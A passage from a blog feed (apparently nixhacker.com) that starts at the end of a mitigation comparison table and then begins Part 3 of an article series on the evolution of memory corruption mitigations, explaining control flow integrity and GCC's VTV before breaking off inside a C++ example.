3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation, Buffer overflow&quot;}">Exploitation, Buffer overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;FGKASLR&quot;}">FGKASLR</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2020}">2020</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;FineIBT&quot;}">FineIBT</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2021}">2021</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;KCFI&quot;}">KCFI</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2022}">2022</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr></tbody></table><!--kg-card-end: html--><p><br></p>]]></content:encoded></item><item><title><![CDATA[Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3]]></title><description><![CDATA[This article series is a technical dive into the evaluation of these memory corruption mitigations. This part is focus on mitigations that second generation, mostly introduced after 2010.]]></description><link>http://nixhacker.com/nostalgic-memory-part-3/</link><guid isPermaLink="false">6599a9b312c6400b44499f7c</guid><category><![CDATA[Exploit Development]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Security]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Windows OS]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 06 Jan 2024 20:32:44 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/01/__en__ac-image-MI1611477332I8-transformed.jpeg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/01/__en__ac-image-MI1611477332I8-transformed.jpeg" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3"><p>In this part we will discuss about the second generation mitigations timeline.</p><h2 id="second-generation-mitigations-gods">Second generation mitigations ( Gods)</h2><p>After the introduction of ASLR, the advancement in mitigations against memory corruption has been impeded due to the implementation of sufficient mitigations across all platforms in the early 2000s. However, over time, offensive researchers have continuously presented bypasses and limitations of these initial generation mitigation techniques. Some of the primary limitations that persist include</p><ul><li>the presence of <em>ROP</em>, <em>JOP</em>, or any form of code reuse attacks, even with the incorporation of most of the aforementioned techniques.</li><li>indirect function pointers remain unsecured</li><li>heap-based memory corruption can still result in code execution.</li></ul><p>These challenges have prompted the security industry to shift its focus towards mitigations that play a crucial role in preventing the exploitation of memory corruption, rather than solely detecting or preventing the corruption itself. This is particularly important in scenarios where the first generation techniques fail, whether due to the aforementioned issues or any other reasons.</p><p>In response to these requirements, the security industry has primarily concentrated on the concept of CFI (Control Flow Integrity). CFI serves as the fundamental principle behind all second generation techniques, which will be discussed below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ZRA-U2gFOo9J-JMOoOKnMOfwMcyS_p-4NJlnWs6O_Ce5-t5Jwi3S0WTPGiYaUswygmemAyyfPO2n9Nm8_lRnBp7WTH_CSU6I5QpcWC6J-FQiTOVBmOL-iuqCJa2tjwsCRnEuvmDo7U3v_wOnjB84_UY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="323"></figure><h3 id="control-flow-integrity-cfi">Control Flow Integrity (CFI)</h3><p></p><p>Control flow integrity based mitigation techniques are the one that mitigate the exploitation of memory corruption against arbitrary code execution that can happen due to cases like function pointer modification or virtual table pointer modification. Note that they don&#x2019;t protect or detect the memory corruption itself rather than prevent its exploitation. From the name you can guess that it work to maintain the control flow integrity of program execution with one goal to prevent or detect any illegal branches or redirections. From the CFI wiki:</p><p>Attackers seek to inject code into a program to make use of its privileges or to extract data from its memory space. Before executable code is commonly made read-only, an attacker could arbitrarily change the code as it is run, targeting direct transfers or even do with no transfers at all. After W^X became widespread, an attacker wants to instead redirect execution to a separate, unprotected area containing the code to be run, making use of indirect transfers: one could overwrite the virtual table for a forward-edge attack or change the call stack for a backward-edge attack (return-oriented programming). CFI is designed to protect indirect transfers from going to unintended locations.</p><p>Let&#x2019;s look at the below control flow diagram to understand it better:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/nXVpzgEXAZ_6nrCWWgJrH3WTXx4323NGfMeYtIj1SbMf6xFDA8pEpSudtBpKBN_CNLCP1H-RQaKYM3Lz9u_Zj7wiqc-cqL4_35N1WDtSRPmu4TLt4UF3Z9HXyyIVwdo8MsAYqXqYTpneW-pCm0aQy5c" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="354" height="249"></figure><p>For functions from A to D, the default and legal control flow / call graph looks something like above. With CFG in place, any illegal control transfer will be blocked or detected during runtime.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/w52lnCY1eSmRgaHPpPSN1fglN39o56M23Svi3J5rte8jfCcH6Jjl1QujVX4GugFnPpYE_f9eNbmyscbKI8-iADlLdwsOLMgHPKFFtpWnvK6avcqsmNdV1P9OiGdDDl34qzQs_b7sS8ylBORl3F4O7xM" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="461" height="305"></figure><p>The CFI can be implemented for one of the following cases:</p><ul><li>Forward edge Integrity</li><li>Backward edge integrity</li></ul><p>Both can be explained using below code illustration:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/gZcz2ppPe_h0e_ZwKa-RjbrI-zufCzBhjHNBwAvREmiO6DBzu0k8MlY-HDXfrZuTv7d1Vt-rLchw1CM5-oSuew822NjnEKbvcnZtuNfw68QZuEyOAGhTIRXY8GW__cDExCiKKFGhAnb_WJIhB1m51fo" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="470" height="277"></figure><p>For the above high level implementation, Forward edge integrity will take care that function <em>f1 </em>will only call <em>f2 </em>or <em>f2 </em>is only called from <em>f1</em>. Whereas Backward edge integrity will take care that <em>ret </em>or function exit from <em>f2 </em>will only return to <em>f1</em>. For a successful CFI, both forward and backward edges would need to be protected to maintain control flow integrity and prevent attackers from diverting the program&apos;s execution in any direction.</p><h5 id="initial-cfi-implementations">Initial CFI implementations</h5><p>In early stage CFI implementations like <strong>CCFIR </strong>and <strong>bin-CFI</strong>, Every instruction that is the target of a legitimate control-flow transfer is assigned a unique identifier (ID), and checks are inserted before control-flow instructions to ensure that only valid targets are allowed. Direct transfers have a fixed target and they do not require any enforcement checks. However, indirect transfers, like function calls and returns, and indirect jumps, take a dynamic target address as argument. As the target address could be controlled by an attacker due to a vulnerability, CFI checks to ensure that its ID matches the list of known and allowable target IDs of the instruction. The implementation can be understood better using below control flow graph:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/SLcxKPIqyEItt1MT9z0elPSdg_8d88leysrmwv4zToA_w4aFkpjSHUKNIzpMVei819hPkggSctzSOUgKkqC_8RCKyIwInJAcmasQ0OxYBd6aAtSb_DD1TMlqoUoaCsUU4H3WbtrEBZ1ZZkboUxEttHc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="191"></figure><p>CFI introduces labels and checks for all indirect transfers. Control-flow transfers checked by CFI are shown in solid lines.</p><p>Source: <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6956588&amp;ref=nixhacker.com">https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6956588</a></p><p>In the year 2005, the initial surface of CFI research became publicly accessible. Subsequently, numerous additional researchers emerged over the course of several years, presenting evidence of various forms of control flow integrity. However, the primary release of CFI that was readily accessible occurred in 2014 for both Windows and Linux operating systems, with both the compilers of Windows and Linux incorporating some level of support for CFI. In 2014, Linux implemented its first CFI implementation, drawing upon the research conducted by the Google team as outlined in their paper titled &quot;Enforcing Forward-Edge Control-Flow Integrity in GCC &amp; LLVM&quot;. Following suit, Windows also introduced CFI support in November 2014, referring to it as Control Flow Guard. Given that the Linux implementation gained public exposure first, let us delve into the CFI implementation within the Linux system.</p><blockquote>Note: We will first go through forward edge CFI and then backward edge CFI</blockquote><h3 id="forward-edge-cfi">Forward edge CFI</h3><p></p><h3 id="forward-edge-cfi-in-linux">Forward edge CFI in linux</h3><p>In 2014, few google researchers have implemented the first practical CFI implementation. This particular implementation was employed internally in conjunction with Chromium and a select few other products, prior to its public release in August of that year. Consequently, this CFI implementation was integrated into both the GCC and LLVM compilers during the same aforementioned year. This initial work contain two different methods for CFI:</p><ul><li>VTV &#x2013; Virtual table verification</li><li>IFCC &#x2013; Indirect function-call checks</li></ul><p>Both methods have been implemented in order to enforce the integrity of forward edges and primarily focus on safeguarding against arbitrary code execution resulting from memory corruption in the heap. The authors have observed that, although the process stack has already been adequately protected through the implementation of multiple mitigation measures up until 2014, the heap area of the process remains susceptible to memory corruptions, which can lead to arbitrary code execution without any significant mitigations in place. This has served as a motivation for the authors to incorporate compiler-based mechanisms, with the aim of further enhancing the protection and integrity of program control data, with particular emphasis on the integrity of control-transfer data stored in the heap.</p><h4 id="vtvvirtual-table-verification">VTV - Virtual table verification</h4><p>The goal of VTV is to protect virtual calls in C++. The motivation behind this mitigation is to protect common types of code hijacking that happen in C++ based memory implementation due to heap exploitations.</p><p>From the name, you can predict that VTV is use to provide integrity of vtables present in C++ code. Since most indirect calls in C++ are through vtable, this mitigation is well suited for programs written in C++. We are not going to look into details of Vtable modifications works, but let&#x2019;s summarize it at high level:</p><blockquote>The vtables themselves are placed in read-only memory, so they cannot be easily attacked. However, the objects making the calls are allocated on the heap. An attacker can make use of existing errors in the program, such as use-after-free, to overwrite the vtable pointer in the object and make it point to a vtable created by the attacker. The next time a virtual call is made through the object, it uses the attacker&#x2019;s vtable and executes the attacker&#x2019;s code.</blockquote><p>To protect the above &#xA0;scenario, VTV verifies the validity, at each call site, of the vtable pointer being used for the virtual call, before allowing the call to execute. In particular, it verifies that the vtable pointer about to be used is correct for the call site, i.e., that it points either to the vtable for the static type of the object, or to a vtable for one of its descendant classes. The compiler passes to the verifier function the vtable pointer from the object and the set of valid vtable pointers for the call site. If the pointer from the object is in the valid set, then it gets returned and used. Otherwise, the verification function calls a failure function, which normally reports an error and aborts execution immediately.</p><p>VTV has two pieces: the main compiler part, and a runtime library (<em>libvtv</em>), both of which are part of GCC. In addition to inserting verification calls at each call site, the compiler collects class hierarchy and vtable information during compilation, and uses it to generate function calls into libvtv, which will (at runtime) build the complete sets of valid vtable pointers for each polymorphic class in the program.</p><p>To keep track of static types of objects and to find sets of vtable pointers, VTV creates a special set of variables called vtable-map variables (read only), one for each polymorphic class. At runtime, a vtable-map variable will point to the set of valid vtable pointers for its associated class. When VTV inserts a verification call, it passes in the appropriate vtable-map variable for the static type of the object, which points to the set to use for verification.</p><h5 id="vtv-in-action">VTV in action</h5><p>Consider the following program:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;iostream&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">using</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">namespace</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">std</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">class</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Animal</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> // </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">base</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">class</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">public</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">:</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span 